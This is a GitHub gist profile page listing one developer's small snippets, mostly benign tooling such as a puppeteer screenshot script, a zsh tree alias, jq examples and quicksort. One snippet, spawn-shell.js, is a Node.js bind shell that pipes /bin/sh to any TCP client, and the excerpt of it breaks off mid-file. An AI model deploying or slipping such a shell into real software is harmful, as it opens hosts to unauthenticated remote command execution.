Skip to content

Instantly share code, notes, and snippets.

View gerrard00's full-sized avatar

Gerrard Lindsay gerrard00

  • NYC
View GitHub Profile
@gerrard00
gerrard00 / this-is-evil.mjs
Created January 31, 2024 20:35
this is evil
export class Foo {
constructor(name) {
this.name = name
}
DoIt() {
console.log(`Hello ${this.name}`);
}
}
const f = new Foo("Direct");
@gerrard00
gerrard00 / tree_with_ignore.zsh
Created May 6, 2023 16:22
Make the tree CLI respect .gitignore without any additional packages
# make tree respect gitignore if we are in a repository
function tree_with_ignore() {
if git rev-parse --is-inside-work-tree >/dev/null 2>&1; then
git ls-tree -r --name-only HEAD | tree --fromfile "$@"
else
tree $@
fi
}
alias tree="tree_with_ignore"
@gerrard00
gerrard00 / screenshot.js
Last active May 12, 2022 20:45
Convert web site, html, eml or whatever chrome can open to png using puppeteer
const puppeteer = require("puppeteer");
(async (url) => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.goto(url);
await page.screenshot({ path: "screenshot.png", fullPage: true });
await browser.close();
})('http://foo.com');
@gerrard00
gerrard00 / ToggleFormatOnSave.vim
Created April 11, 2022 14:53
coc.nvim Toggle Format On Save
function! s:toggleFormatOnSave()
let l:currentValue = coc#util#get_config('coc.preferences').formatOnSaveFiletypes
if(len(l:currentValue) > 0)
echo "Disabling format on save."
let g:PreviousFormatOnSaveFiletypesValue = l:currentValue
call coc#config('coc.preferences', {'formatOnSaveFiletypes': []})
else
echo "Re-enabling format on save."
call coc#config('coc.preferences', {'formatOnSaveFiletypes': g:PreviousFormatOnSaveFiletypesValue})
@gerrard00
gerrard00 / random-jq.sh
Created November 25, 2020 18:35
Random JQ Examples
# find all paths to a given key recursively
jq 'paths | select(.[-1] == "lastUpdateTime")' persistence-sore-service.json
@gerrard00
gerrard00 / quicksort.js
Created April 18, 2019 15:11
Quicksort in JS
const quicksort = (arr) => {
if (arr.length <= 1) {
return arr;
}
const pivot = arr[0];
const others = arr.slice(1);
return [
...quicksort(others.filter(v => v <= pivot)),
@gerrard00
gerrard00 / spawn-shell.js
Created April 8, 2019 16:57
Simple code to launch a network shell from node js
const net = require('net');
const cp = require('child_process');
const sh = cp.spawn('/bin/sh');
const server = net.createServer((client) => {
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
@gerrard00
gerrard00 / toggle_ case.c
Created April 8, 2019 15:30
Toggle the case of any ascii char by xoring 32 (space character)
#include <stdio.h>
char toggle_case(char c) {
return c ^ 32;
}
int main(int argc, char ** argv) {
printf("Hello%c\n", toggle_case(*(argv[1])));
}
@gerrard00
gerrard00 / update-launch-json.sh
Last active February 26, 2019 19:24
Update Visual Studio Code launch.json file to use current version of node from NVM
node_path="$(which node)"
temp_file=$(mktemp /tmp/launch-$$.json)
grep -v '^\s*//' < .vscode/launch.json | jq '.configurations[].runtimeExecutable = "'$node_path'"' > $temp_file
mv .vscode/launch.json .vscode/launch.json.bak
mv $temp_file .vscode/launch.json
@gerrard00
gerrard00 / sleep.js
Created February 21, 2019 19:05
Stupid sleep function for node js
const sleep = (ms) =>
new Promise(resolve =>
setTimeout(() => resolve(), ms));